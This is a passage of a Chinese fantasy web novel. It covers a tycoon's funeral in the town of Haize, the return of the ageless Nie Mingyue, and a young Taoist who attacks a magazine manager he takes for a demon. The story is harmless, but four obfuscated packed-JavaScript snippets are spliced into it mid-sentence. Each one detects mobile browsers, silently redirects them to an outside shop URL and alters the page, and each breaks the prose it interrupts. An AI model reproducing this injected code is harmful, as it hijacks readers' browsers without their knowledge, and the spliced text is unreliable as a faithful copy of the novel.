陈丽华是小明宫的常客。每逢周末的旧货市场,她都会来溜达一圈。此时她却没有停下匆忙的脚步,因为她要参加一场葬礼。 盛唐集团董事长唐青山于六天前在京城无疾而终,享年八十三岁。他在去世前已经把身后事安排妥当。这个在国内财商界以铁腕手段出名的商业巨头,临终明确表示要回到老家海葬,魂归海泽。唐家人虽觉得太过简单,但也没敢逆了老人,只能在镇海寺做一场法会,供了一个牌位,以寄亲友离思。 陈丽华当年在工地得到过唐青山的提拔相助,这次是一定会去道别的。 今天上午11点,城中大半有影响力的人都会前往镇海寺,倒也成了一次难得的权贵聚会。 老城区街道狭窄,车位有限,将路堵得水泄不通,根本开不进来,陈丽华只得沿着小明宫商街步行。 距上次跟计九崖袒露心声已有半个月,计九崖说聂小姐最近就会回来。她现在的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079596|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大不如从前,此次是赴一场相识老友的告别式,心情更加复杂。 繁忙的跳蚤市场人潮涌动,大部分是不起眼的摆件和旧书字画、文玩玉器。走到半条街,她就觉得喘息加重,双腿酸软了。 她真的很饿,这样的饥饿感最是熬人,她能真实感受到身体的每一个部分都在快速消耗。她想,要是计九崖说的是真的,手艺人的匠心作品都有灵气,为何只有那个时间段的物件可循,为何都集中在秦川出品?她又想,若不是没有兑现承诺,她在这个年岁走了也好,算是无憾的一生了。 胡思乱想间歇了过来,恢复了些力气,她继续往前走,突然闻到了一股熟悉的香甜气息。是器物灵气!循着味道看过去,一个二十出头的男孩正蹲在街边摊位前,脖子上挂着一块火柴盒大小的石头。 她知道接下来要做的事极为不妥,但香气浓郁诱人,和六十年前那晚的味道一模一样,实在无法放弃。 “年轻人,打扰了。”她压抑住激动的心情。 男孩子闻声抬头,一张白净的脸,圆眼清澈,透着一股子天真。 “您叫我?”他问。 陈丽华说:“请问你知道镇海寺怎么走吗?” 男孩子起身,个子挺高:“这条路走到头就是了。”他伸手一指,观陈丽华面色微红,嘴唇泛白,一看就是身体不怎么好的样子,于是接着说:“正好我也要去那里,我扶您吧。” “好孩子,谢谢你。”陈丽华本来打算先跟男孩子多聊聊,看看能不能沾染到些许灵气。这下正和心意,被他轻揽手臂扶着前行。趁靠得近些,陈丽华仔细观察,那吊坠并不是常见的玉石,倒像是一块泛着铜色的金属块,雕着一个四足动物坐在方墩之上,憨态可掬,一条时下年轻人喜欢的皮绳正好系在那动物脖颈上,倒也不嫌突兀。 “你看起来年纪不大,去镇海寺烧香吗?”陈丽华问,暗自想着怎么说服年轻人将项链卖给自己。 “不是,我也是第一次去,我不是本地人呢。” “那你是来旅游的吗?”看起来就是个大学生,外地人就更好开口了。 “我来参加葬礼的。11点。”男孩子掏出手机看了眼,“还有二十分钟,来得及。” 陈丽华心下了然,这大概是个家世不错的小孩,跟着长辈冲唐家来的。 男孩子见她一直在留意自己的项链,用手摸了摸说:“这是个石头狮子,是不是挺可爱?” “我看你这条项链很特别,是在哪里买的呀?” “这个啊……”男孩子摸摸颈间的吊坠,说:“我爷爷给我的,原本是个石摆件。我觉得好看,就自己磨了一下,改成项链了。” 陈丽华一阵心疼,这么好的东西,小孩子就随便打磨了。那上面的灵气又是从哪里来的? “那你能帮我问问,你爷爷是在哪里买的吗?”弄清楚了来处,就能开价了。 “问不了啦。”男孩子咧嘴一笑,露出一排白牙:“今天是我爷爷的告别式。” 6. 曾经少年 镇海寺门口有两棵高大的银杏树,每年秋天第一场打着旋儿的大风吹过以后,银杏叶便会转为金黄,从寺门顶上高高垂下,密密麻麻的叶子铺天盖地,闪着耀眼的光,当为城中一景。 即便此刻才三月末,树上也有青涩的叶片绽出,带着清新的生命力。 在古树中,它们非常年轻,但在海泽,它们是寺庙百年岁月的陪伴者。 陈丽华很喜欢这两棵树。在城市生活大半辈子,她还是不习惯嘈杂的车流、林立的广告牌、忙碌的红绿灯……总让她有一种不属于这里、所拥有的终将消失的感觉。 或许镇海寺真有海神庇佑,连带着门口的树,入眼即让人心生宁静。 - 她和年轻人聊了一路,想要拿到项链的念头彻底打消了。他是唐青山的孙子,冲这个她也开不了口。 唐家现任掌门人唐首义和妻子正在门口,一见到两人,便上来相迎。老爷子的离世算是喜丧,家属们脸上并没有刻意带着悲伤。 “陈姨,您来了,好久不见。”唐首义跟陈丽华打招呼,又看了小唐一眼。 “又溜到哪去了?赶紧进去,马上开始了。” “哦,二叔。”他邀请陈丽华:“陈奶奶,我带您进去啊。” 正要进寺,树下的接待处传来一阵喧闹。 “我也是来参加葬礼的,凭什么不让我进去?” 一个身材壮硕的小伙子冲着知客叫。他穿着不合季节的轻薄道袍,半长的头发在脑后随意扎了个髻,脚穿脏得看不出颜色的布鞋破着洞,提着一个巨大的麻袋,一身的风尘仆仆。 今日唐家办事,寺庙早早通知上午不对外开放了。知客生怕他的大嗓门惊扰了宾客:“这是家族内部仪式,不接待外人。”他指着签到台上的名册,示意来人并不在邀请之内。 小伙子瞟了眼台面,憋了一下,又说:“那我来挂个单!你总不能拦我吧!” “你一个道士,跑到海神庙来挂什么单!” “众生无边誓愿度,道佛神仙不分家。大家都是一家人,你何必见外。” 知客见他油盐不进,打算叫保安来把他带走。 那人更加着急:“我师父让我来送故友的,你赶紧让我进去,莫错过了时候。” 门口好几个来吊唁的客人都驻足看热闹了,唐首义不得不管了,他走上前:“请问,你师父是哪位?” “岭南至真观马鹿子马道人。”他见唐首义年长,拱手做了个揖礼,“师父年前算到小友唐青山将逝,他年老力衰,山高路长,不便相送,就让我来了。” 什么年前就算到人要死了,满口无言乱语。唐首义见他人高马大,带着南方口音说着不顺嘴的话,估计是把马鹿子的原话背了出来。 他并不知道马鹿子是谁,但也暂时没有当着众人的面拒绝。 “远来是客,小道长请。”他做了个手势,示意知客跟在小道士身边盯着,回身迎着陈丽华众人,进入了寺内。 - 和唐青山的身份地位比起来,这场告别式着实有些简陋。 在场的三十多位亲友宾客中,确实有不解的,但是冲着镇海寺闭门做法会的场面,也挑不出什么理来。 众人上香行礼。有过交情的,台前驻足追思片刻;更多的人,纯属慕名而来凑场合。 作为唐青山指定送灵的长孙,小唐在冗长仪式上,端着灵牌听着安排叩首致谢。此刻他深刻理解了爷爷生前一切从简的交代,这真是一场无趣的葬礼。 礼毕后,本次告别式才进入正题。各人开始寒暄社交,与唐家人套交情。 陈丽华此行心意已到,不打算跟人打交道,她走到了院内。院中的镇寺神兽石像威严,这些年被人盘得光滑圆润,已经好几个地方包浆。她仔细一看,神态动作居然和小唐的吊坠一模一样,小朋友把狻猊当做了狮子玩。她同时也心下了然:难怪唐家要在这里做告别式,想来是有渊源的。按唐青山的惯常手笔,镇海寺没准都是他的产业。 仪式下一个流程,小唐要完成老爷子的最终心愿,把骨灰撒向大海。 他捧着骨灰坛,在亲人陪同下,也走了出来。之前还明媚的天气不知何时变暗,飘起了零星细雨。 “礼毕落雨,唐老爷是个福泽深厚之人呀。”小道士抬起头看天,一脸正经地说。 无人理会他。知客为众人发放了雨伞。 - 一行人走到寺外,签到台已撤,门口银杏树下站着两个人。 其中一人陈丽华居然认识——老保安计九崖穿着一身素衣,撑着一把黑色大伞,伞下有一名陌生的女子。 那女子一头乌黑过腰长发,脸上泛着久不见阳光的透白之色,身上套着看不出质地的玄青色外衫,乍看像连衣长裙,仔细端详的话,是件设计偏传统的阔袖宽袍,上面似有暗纹流动。 她瘦而挺拔,表情冷淡,极为貌美,相隔几米远,都能感觉到女子周身传来的冰凉气息。平时带着笑脸的计九崖站在她身边,一副生人勿近的严肃表情。 “计老弟,你……”陈丽华正想打个招呼。 “太……太太……太奶奶……”小唐惊呼,脸色煞白地看向那个女人。 她清潭般的眼扫过小唐:“你是?” “我……我我我……我是唐青山的孙子。”小唐结巴得更加严重,表情惊惧。 “哦,给我——”女子伸出雪白的手,小唐听话地将骨灰坛递到她手上。 唐首义想要上前阻止,计九崖拦住了他:“这位是聂小姐,聂明月。” 听到这个名字,唐首义大惊,居然任由她捧着骨灰坛转身离开。 “太奶奶,你要带我爷爷去哪里?”小唐看着她的背影说。 “接他回家。”聂明月头也不回。 “太奶奶!爷爷说了,得让我来送。”小唐大叫。 聂明月停下脚步,扭头问:“你?你叫什么?” “我叫唐槐!” 听到这个名字,聂明月平静的表情终于有了变化。她仔细看着唐槐,似乎要从他脸上看出什么来,直到看到了他颈上的吊坠:“你见过我?” “爷爷给我看过您的画像和照片!”唐槐急得要哭:“您真的是我太奶奶?” 聂明月脸一黑:“不是。臭小子!”她将怀中的骨灰坛一紧—— “唐槐,你也跟我回去。” - 陈丽华终于见到了聂明月,却没想到会是在这个情况下。她看向计九崖,计九崖对她轻轻点了点头,低声道:“陈总,今日不宜议事。” 她表示理解,跟在三人身后,撑着伞走向小明宫外的停车场,唐家其他人却没有赶上来。 离开的时候,陈丽华隐约听见镇海寺方向传来一声兽吼,又接着一声嘶鸣。她以为自己听错了,没有放在心上,示意司机出发。 两辆车一前一后,计九崖的车是朝着明月山庄开过去的,进小区后径直驶向一号公馆。 唐槐第一次来,看着院外杂草丛生,门口一片破败景象,心中升起无数疑问。 计九崖推开大门:“时间比较紧,我只来得及打扫室内。明天我就找人把院子收拾了。” “无碍。”聂明月走进大厅,“这里不错。”她沿着通向地下室的楼梯走去,又停了下:“计九,多谢照拂。” 计九崖知道她的性子,她正在释放最大的善意让他放轻松,一张老脸瞬间开花,一扫来路时的谨小慎微:“您是长辈,应该的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079597|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 到了地下二层,是一条狭长的封闭通道。沿着通道走了大概三十多米,竟然有一座电梯。 计九崖按动电梯,三人进入。唐槐想想着这部电梯还有向下的按键,难道地下还有一层。结果这次却是上升,再出来的时候,就在山崖之上了。 门口一条沿崖壁而建的木栈道出现在眼前,沿着崖壁蜿蜒朝下,路的尽头,是月亮湾最大的黑色礁石。 礁石被修筑成一块篮球场大小的平台。迎面无风,平静的海面被一层低云压着,灰蓝色的天空与海在远处尽头连成一线。 唐槐从未在礁石上观过海。他看着聂明月捧着骨灰坛,一直看向远方,计九崖撑着黑伞站在旁边。两人都不说话,唐槐不知道此时该做什么,也什么都不敢做。 良久,聂明月终于动了。她问:“你多大了?” 唐槐连忙回答:“回太奶奶,我二十一了。在京城读大学,今年毕业。” 聂明月瞟了他一眼:“唐青山这个臭小子,教坏小孩子。”她又忆及往事,似有所感:“我最后一次见他,他也是你这般年纪。” 唐槐才反应过来,之前她骂的“臭小子”竟然不是自己,而是爷爷。 “爷爷说过,您是唐家最重要的人,没有您,就没有如今的唐家。”唐槐忍不住为坛子里的爷爷解释两句。 “所以你太爷爷什么时候走的?” “啊,我没听过太爷爷的事,我只知道您。”唐槐心想,还不承认是我太奶奶,这不就问了吗。 “大概五十年前,唐先生把您安顿到好后,就自行去了。临走交代了我一些事。”计九崖回,“他说您今年春天一定会回来。让我提前在海泽守着。我有点事耽误了,年前刚到。” “你做得很好,青山也很好。”聂明月深深看了唐槐一眼,又转过头,直接打开坛子,毫不犹豫地把骨灰扬向了大海。 也不知道她是怎么使力的,白灰没有沾身半粒,洋洋洒洒赴海而去,在天空中划出一道泼墨般的弧线,似在对岸上的人做一场真正的道别。 “走吧,回去告诉我,他交代了你什么事。”聂明月转身,头也不回。 - 计九崖将两人带到地下一层。这一整层都是书房,顶天立地的书柜铺满整墙,里面装着密密麻麻的书籍。唐槐留意了一下,一部分是古往今来的神怪志异研究、民俗文化资料,更多的是历年来的报社杂志刊物,均按年代存放。最远的可以追溯到民国。 “唐先生说,希望你回来时不要错过发生的事,安排了专人常年搜集的,我刚布置完。”计九崖说,“去年唐青山提醒我,现在有电脑和网络了,就不用翻这些老黄历了。我不太懂这个,回头让小唐帮忙买个最新款。” 唐槐一听点到自己,忙不迭应下来。 聂明月让他在书房待着,和计九崖又上了楼。 二楼门口设了限制,聂明月一拂袖,门打开了。一个行军床大小的冰蓝色玉盒置于房间正中,周身闪动着莹莹光华,盒子内壁有符文雕刻,中间呈凹形,正好容一人平躺。 计九崖看到玉盒,忍不住心神激荡:“我终于又见到它了。锁沧海!” “借用你雨师家的法宝百余年,是时候还给你了。”聂明月说,“不过做了些改动,你看看是否合意?” “和明堂之主共处百年,是它的造化,也是我家族荣幸。”计九崖努力平复心情:“聂小姐不再需要锁沧海了吗?” “本来没有十成把握,但刚才我看唐青山布下了山海大阵,你又提前来海泽守关助我,我自锁的这五十年,可保今年无碍。” “这是大家的福气。”计九崖笑了,这笑确实发自真心: “海泽的雨,可以停了。” 7. 人间行走指南 聂明月和计九崖回到书房时,天已经黑了。 唐槐面前摆了一堆资料文献,正坐在桌前看手机。见到两人回来了,连忙站起来:“太奶奶,你被拍下来了!” 他将手机递给聂明月,聂明月却不知道怎么操作,计九崖伸手在播放键上一点。 【废弃豪宅惊现神秘女子,赶趟哥独家探秘,点赞收藏别迷路。】 一段阴森的音乐响起,画面上出现一号公馆。 【众多网友共同见证,直播真实画面,绝无剪辑。在某市高档小区的废弃豪宅中,深夜冒出诡异光线。赶趟哥以身冒险,记录下神秘画面。】镜头慢慢推进,把房子全貌逐一展示。 【前方高能预警,胆小的人闭上耳朵!荒凉的院子、破败的围墙,仔细看!二楼窗口——】糊得不能再糊的画面上,窗口处被专门放大,圈了个红圈,确实有光线闪烁。 【此时,赶趟哥觉得事有蹊跷,决定再靠近一点。】无人机飞到了二楼阳台。突然,窗前站着一个人,抬头看向镜头……正是聂明月的脸,直接说是怼脸特写也不为过。 紧接着,画面一黑,字幕出现。 【当时直播信号中断,幸好哥保存了回放视频。经过哥的多方打听,有同小区业主透露,这栋别墅修建于三十年前,但一直无人入住。到底是非法闯入,还是灵异事件?关注赶趟哥,等待后续揭秘。】 短短50秒的视频,点赞数上万。 “他这才是私拍民宅,我去举报他!”唐槐愤愤然。 “无妨,没拍到什么东西。让有心人知道我回来了,也是好事。”聂明月并不在意,倒是把手机翻来覆去看了一遍:“原来那是个拍摄的机器。我当时刚醒过来,听到窗外异响,还以为有东西作怪。” “明天我就去给聂小姐买个手机,”计九崖看她好奇,“就是无线电话。您闭关多年,现在电子产品发展很快,手机是必备品了,没有还挺不方便的。” “我来我来!我给太奶奶买。”唐槐献殷勤,他已经知道计九崖是小区保安,那点工资能买个什么好手机:“您还需要什么东西,我都去给买来。” - 聂明月看着眼前的年轻人,一张完全陌生的脸,却有些天然的亲近感。。 “你坐下来,我们聊一下,”计九崖跟她的事情已经交代完,接下来就是唐家了。 聂明月坐在沙发上,“你给我讲讲,你们唐家人都还有谁,做什么的?” 唐槐自小就在爷爷书房看到过聂明月的照片,还有一幅画像。画像上是太爷爷和她并肩站在京城老家的院子里,穿着民国时期的衣服,身后有一棵开花的槐树。他默认这是太爷爷夫妇,自然就是爷爷的母亲,他的太奶奶了。 照片是后期上了色的彩照,她一个人站在海边,似乎有人在喊她,正好回头看过来,留下了侧脸。今天送爷爷的时候他就发现了,月亮湾那块黑色礁石,正是照片的拍摄地。 聂明月突然问起他家里的事来,他却不知道从哪开始讲起,于是先问:“太奶奶,您怎么一点都没变老?您是穿越了还是重生了?” 他问得聂明月一愣,看她似乎没听懂,换了个说法:“您是人吗?” 刚端起杯子喝了一口茶水的计九崖差点被呛到。 唐槐反应过来:“啊,我没有骂您的意思。我……”他急得挠头。 聂明月却已了然:“看来青山没有跟你说过我的事。估计他也不知道该跟你怎么说。” “这个世界上,有很多常人无法理解的存在。不知道,反而是一件好事,青山终于想通了。”她语气有些感怀。 “我理解呀!我看了很多网络小说,穿越啊重生啊,电视剧里有的是!”唐槐解释:“您看这一屋子的书,不都是讲这些事情的吗?” “那你就暂且把我当作一个不会老的人吧。我到底是谁,为什么会这样,我和你太爷爷找了很多年,都没找到答案。”聂明月想及往事,有些失神。 “好!”唐槐极为兴奋,真是一件有意思的事儿,“那我就从爷爷讲起吧。” - 唐青山,土生土长的海泽人。少年时跟随父亲到处做生意,成年后回到海泽定居。他在四十岁才结婚,妻子是海泽中学老师,生了个儿子,叫唐首义,儿媳妇是京城人,两人有个女儿,比唐槐小一岁,在国外读大学。唐青山的妻子在十年前因病去世。 唐青山年轻时做了一家出口贸易公司。到了20世纪80年代中期,已经是海泽颇具实力的富商了。90年代起,他开始做房地产,现在海泽各处都有盛唐集团开发的项目。他在1995年买下了月亮湾,用三年时间,建了个明月山庄。这是他在海泽最后的手笔,随后就将盛唐集团总部搬迁到了京城,再也没有回来过。 唐青山一生都极为顺遂,眼光独到,凡是他看中的行业,投资都不会亏。地产、文旅、酒店、商业中心……均有涉及,盛唐集团在国内非常有名气。 “青山从小脑子就灵,”计九崖听到这,忍不住说,“要不是他使手段,我当年也不会把锁沧海输给唐先生。” 聂明月是知道这事来龙去脉的,也笑了一下,接着问:“你叫唐首义二叔,那你的父母呢?” 唐槐毫不介怀地说:“我是爷爷带回来的。他早年结过一次婚,动乱的时候走散了。找到的时候,我刚出生。我奶奶和父亲已经去世了,我母亲带着我很辛苦,爷爷就把我带回来了。所以唐首义成了我二叔。二叔二婶对我很好的,把我当亲生的。” “我是唐家人,做过亲子鉴定的!”他一看就被唐青山教养得很好的样子,开朗豁达,心思单纯,长着一张没有受过欺负的脸,丝毫没有世家子弟的纨绔气。 唐青山从三年前着手身后事。他把盛唐集团股权重组,唐家人均有股份,唐首义继承绝大部分产业。除去足够多的存款和房产外,他额外给唐槐成立了一个基金,保他一生无忧。明月山庄这栋房子,也交代他看管。还有位于海泽的一家文化传媒公司。这都是在来的路上唐槐才知晓的。他正在头疼怎么接手。 “我也是第一次来海泽,既然太奶奶您在,那我就不管啦。”他语气中透着开心。 “那是因为他知道,当你来到一号公馆时,就会遇到我。”聂明月道:“他全都算明白了,这是把你也交给我了。” “我都是成年人了,太奶奶您不用为我费心。”唐槐一口一个“太奶奶”叫得格外顺口。 “文化公司是怎么回事?”聂明月问。 “我也不清楚,律师说,爷爷早年投资了一家公司,有专门的经理人在管理。但是现在传媒业不景气,不知道那杂志还在不在了。” “杂志叫什么名字?” “好像叫……”唐槐拍拍脑门,“《人间行走指南》,大概是本旅游刊物吧。” - 海泽终于结束了漫长的雨季,在三月底迎来了好天气。上午的阳光和煦,从老洋房拱形窗户中照进来,晒得屋里的人忍不住打盹。 望南街位于海泽老城区的一条特色街区,两旁种着挺拔的梧桐,数个红顶白墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079598|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老式小洋楼掩映其中,透着宁静秀美。 如果说如今以月亮湾为中心扩散的滨海区,是城中中生代富人聚集地的话,望南街就是海泽最早的权贵地。早些年间,谁要是认识住在望南街上的人,是一件值得炫耀的事。 然而时过境迁,老洋房成了保护建筑,拆是不可能的,就连换块木地板,也得专门部门审核批准。老化的电路、不便捷的商业配套,除了偶有年轻人来街上几家文艺小店拍照打卡,老城的望南街,已经逐渐被人们遗忘。 此时,正有一个提着巨大麻袋的小道士,手里拿着一张纸,寻到了标着“望南街28号”的小楼前。 他敲敲门,无人回应,看着虚掩的门,最终推开走了进去。 一个脑袋正趴在桌上睡觉,金色漂染的头发被太阳照得晃眼。 “请问,这里是杂志社吗?”小道士出声问。 对方吓了一跳,抬起头来,是个年轻女孩,画着全妆,口红已经被衣领蹭掉了。 “你找谁?”她没好气地问。 “这个……”小道士递过手中的纸,居然是一张撕下来的杂志内页,上面印着地址。 女孩伸头一看,“啧”了一声:“这都多少年前的杂志了?早就倒闭啦!” 小道士有些失望,又想起什么,再从袖子里掏出一张名片来:“这个人,在吗?” 名片也是年代久远的款式,上面印着孟夏两个字,下附一串带着区号的座机号码。 “孟姐啊,还没来呢。”女孩指着接待区的沙发:“你在那坐着等会吧。” 她补完口红,伸了个大大的懒腰,从前台的位置走了出来:“你是喝水还是喝咖啡呀?” “喝水就行。”小道士放下行囊,看着纯白皮沙发,又看看自己满身灰尘的道袍,一时不知道该不该就座了。 “坐吧!没事儿,脏了擦一下就好了。”女孩看出他的不安,放下水杯促狭道:“科技皮,假的!” 小道士环视一圈,一楼门口是接待处和沙发,前台后面有道墙,上面挂着个牌子,上面写着:“《人间行走指南》杂志社。” “我没找错,就是这家杂志社。”他兴奋了,终于走到了! “现在谁还看杂志呀,我们都转自媒体了。”女孩打开电脑,“没钱换招牌而已。” “啥叫自媒体?”小道士问。 “用手机看的,短视频啊,公众号啊。最近正在准备直播带货呢。” “哦,我没有手机……”小道士只听得懂手机两个字。 “啊,手机都没有,那你平时怎么坐车买东西啊?”前台惊讶地从电脑前抬出头来。 “我没钱搭车,走过来的。” “走了几站?”女孩问。 “走了……四个月吧。”小道士缩了缩冒出布鞋破洞的脚趾头。 女孩一脸不可置信的表情,心想这是从哪个异次元来的,莫不是愚人节的恶作剧吧。她打算不理他了,点开网站看起剧来。 电视剧刚放完片头,双开木门再次被推开,一位身形窈窕的女子踩着高跟鞋走了进来。 “小花花,早上好呀。”清脆的声音传来,前台女孩头也不抬,伸手指了指:“孟姐早上好,有人找。” “我给你带了巷子口的牛肉小笼包,给——”孟夏转过身来,卷发如瀑,面庞如玉,媚眼如丝,竟是个难得的美人。 小道士抬头一见她,大惊失色,抽出麻袋里的桃木剑,冲孟夏脸上扔了一把黄色符纸: “妖精!看剑!” 8. 道士出山 孟夏身形一动,桃木剑刺空。小道士倏忽向前急冲,收势不住,撞到前台桌子,插着花的瓶子咣当一声,碎在地上。 他再回身转头,孟夏手里握着一把符纸,正一脸茫然,不可思议地问:“我刚才是看到一把剑吗?” 小道士见妖精轻易躲开杀招,符纸也不起效,心生不甘,咬牙喝道:“有点本事!再来!”又冲着孟夏而去。 孟夏一个跨步到了楼梯上,又迅速翻过扶手,刚双脚落地,小道士的剑尖就到了她刚才的位置。 “你谁啊!你要干吗?”孟夏边跑边叫:“花蕊!快报警啊!” 一个追,一个跑,孟夏胜在娇小灵活,在几张带着隔断的办公桌绕来绕去。小道士身材高大,所到之处,纸张、文具、杂物齐飞…… 小道士第一次遇到这样滑不溜溜的对手,有些恼怒了,提气加快脚速,几个回合后,孟夏终于没了去处,被堵在了厕所门口。 他再掏出一张符,念捉妖诀—— “百鬼远离,善神加力,急急如律……”突然从脖颈传来一阵剧痛,全身酥麻,倒在了地上。 前台花蕊举着防狼电棍,恶狠狠地说:“给我赔钱!” - 十分钟后。 “所以说,你是来找我的?”孟夏捏着印着她名字的名片,看着被五花大绑捆在电脑椅上的道士。 “师父怎么会让我来找个妖怪?”小道士一脸沮丧,似乎这件事比他现在失去行动自由更重要。 “你是谁?你师父又是谁?”花蕊刚把电脑桌上的水擦干净:“你今天不说明白,我就报警啦!我们这有监控呢!” “我师父是岭南马鹿子道长,我叫尤远志。年前,师父给我写了封信,留了张纸条和名片就闭关了。我按照纸条上的吩咐,先去了京城探望他朋友,结果那人去世了。那边的人说他们全家来了海泽,我昨天刚到。正好纸条上也有个海泽的地址……” “他从南方走过来的!”花蕊跟孟夏示意,看他脚上的破布鞋。 “信呢?给我看看。”孟夏问。 “在包袱里。”尤远志看向门口沙发前的麻袋。 孟夏的高跟鞋在刚才跑路的时候折断了,她光脚走过去,捏着鼻子翻那袋子:一双破布鞋、又一双破布鞋、一堆乱七八糟的符纸、一个装水的葫芦、咬了一半的馒头……终于在最深处找到一张折起来的信纸。打开一看,毛笔字龙飞凤舞。她懒得看,递给了花蕊,花蕊皱着眉头念了出来—— “吾徒小草,为师夜观天北有赤者如席,又五色光贯文华,念友青山以怆然。 “汝去岁已冠,情意拳拳,甚以为慰。 “汝名远志,当千山渡海,志高存远。 “爻明日旅贞吉,盖若贤,应能自觅衣饭。 “带此印以行,山川社庙,不畏虎狼也……” “这什么意思?你听懂了吗?”花蕊听得脑子一团糨糊,又对尤远志道:“翻译一下哇。”” “意思是说,师父夜观天象,北方将有大事发生,师父很担心老友唐青山的身体。我已经21岁了,和师父感情非常深,师父很欣慰。但是大丈夫应该志存高远,师父特意为我卜了一卦,明日就是吉时,让我第二天就下山历练,建功立业。这是对我的一次考验。但是他老人家还担心我的安危,所以专门送了我这套黄神越章印助我降妖伏魔。没想到你这个妖怪道行深,师父亲手画的符居然收服不了你……” “放屁的妖怪!”孟夏想到她精心保养的脸,刚被这袋子里的东西糊过,气得想把信塞小道士嘴里:“马鹿子那个老家伙,这么多年了还是无赖样。” 她看到尤远志一脸不服的样子,决心打击他一下:“我来告诉你,这封信的真实含义吧。” “你小名叫小草啊?哈哈哈。”她接过纸条,清了清嗓子,模仿马鹿子的语气:“小草啊,一直资助道观的金主快嘎了,你去北边帮师父问问,之后谁来管咱吃喝呀?你孝顺归孝顺,就是人越大饭量越大,师父快养不起你了。师父连夜给你收拾包袱,你明天赶紧走吧。我没钱给你,你自己想办法挣路费吧。这点陈年老符纸,就代表我对你真诚的祝福啦。” 尤远志听罢,恼怒孟夏造谣师父。但是听起来她确实和师父是认识的,口气神态都模仿得很像,也不敢多说什么了。 “尤小草是吧。既然你是他徒弟,我就把你放了。今天这个事就算了。”孟夏解开他身上的绳子:“虽然老娘确实美得不像人,你可别张口闭口喊我妖精了。” “还有,你从小住在山里,要懂得在社会上混的规矩。别动不动就挥剑甩符的,现在是法治年代,神神鬼鬼不存在的。”孟夏捡起地上的高跟鞋,冲尤远志眨眨眼:“你跟我上楼。” “小花花,你给金姐打个电话,让她来加会儿班吧。加班费算我的。”她跟花蕊说,又补了一句:“明天姐姐就赔你个新花瓶。” 花蕊一听满屋狼藉不用自己收拾了,开开心心回座继续刷电视剧了。 - 孟夏有自己的办公室。她把尤远志带进来,从桌下拿出一双拖鞋换上。简单整理了下,坐了下来。 “说吧,你有什么打算?”她抽出一张表格来。 “我……我不知道。”尤远志从未想过,师父是把他骗下山的。在山里的日子多好啊,打坐练功,写字画符。下山的这几个月,他可吃了太多苦头了。 孟夏无奈地叹了口气:“那我来问,你来答吧。” “姓名:尤远志,别名:小草。年龄:21,种族……”她边说边写,“你是个什么?” “我?我是个人啊。”尤远志被这话问得一愣。 孟夏又叹了一口气:“算了,慢慢来吧。身份证号码……你有身份证吗?” “没有。我在泉州帮人卜卦挣了点钱,结果都买不了票……我走路到了京城,从京城到海泽,是边走边搭顺风车过来的,走了五天……” “太惨了。”孟夏摇头:“闻者落泪。你师父是个老古董,多少年不出门了,连个户口都没给你上。现在没有证件,哪也去不了。我还得找你原籍地开个证明。” “你们妖怪,不是可以想要什么就变出来吗?”尤远志没想到这么麻烦。他是世面见得少,但并不是一窍不通的,这一路上,新闻电视都会看。 孟夏“啪”一声把笔拍在桌上:“什么妖怪!没有妖怪!我们全都是按照流程办事的,从不干违法乱纪的事情。”她放低声音:“想要留下来,就得记住,别乱说话。” 尤远志茫然地点点头。 “你的特长是什么?”孟夏问。 “我会捉鬼收妖,还有画符炼器,堪舆卜卦……我都行。”尤远志挺起了胸膛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079599|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “得了吧,还收妖呢,你那点本事,也就能吓唬吓唬小朋友。” 尤远志刚吃过这妖怪的亏,不敢再说什么。 孟夏继续填表:“职业——身份证最快要一周,到了再找吧。我先给你一周的生活费。居住地,哎,一会我先给你找个临时住处。联系方式——我还得给你买个手机……” 她崩溃了:“马鹿子,别让我逮到你!” - 聂明月正在玩她的新手机。唐槐给她找了一个三十年经济发展的纪录片,她正在尝试跟上现在的节奏。看完后,她跟着推荐又点开一部电视剧,四海八荒的上古神仙们正在谈着甜甜的恋爱,她就在车上看了一路。 今天一大早,计九崖开车带她和唐槐出来采购。唐槐还要处理财产交接的问题,需要在海泽再待几天,她就让他在一号公馆住了下来。 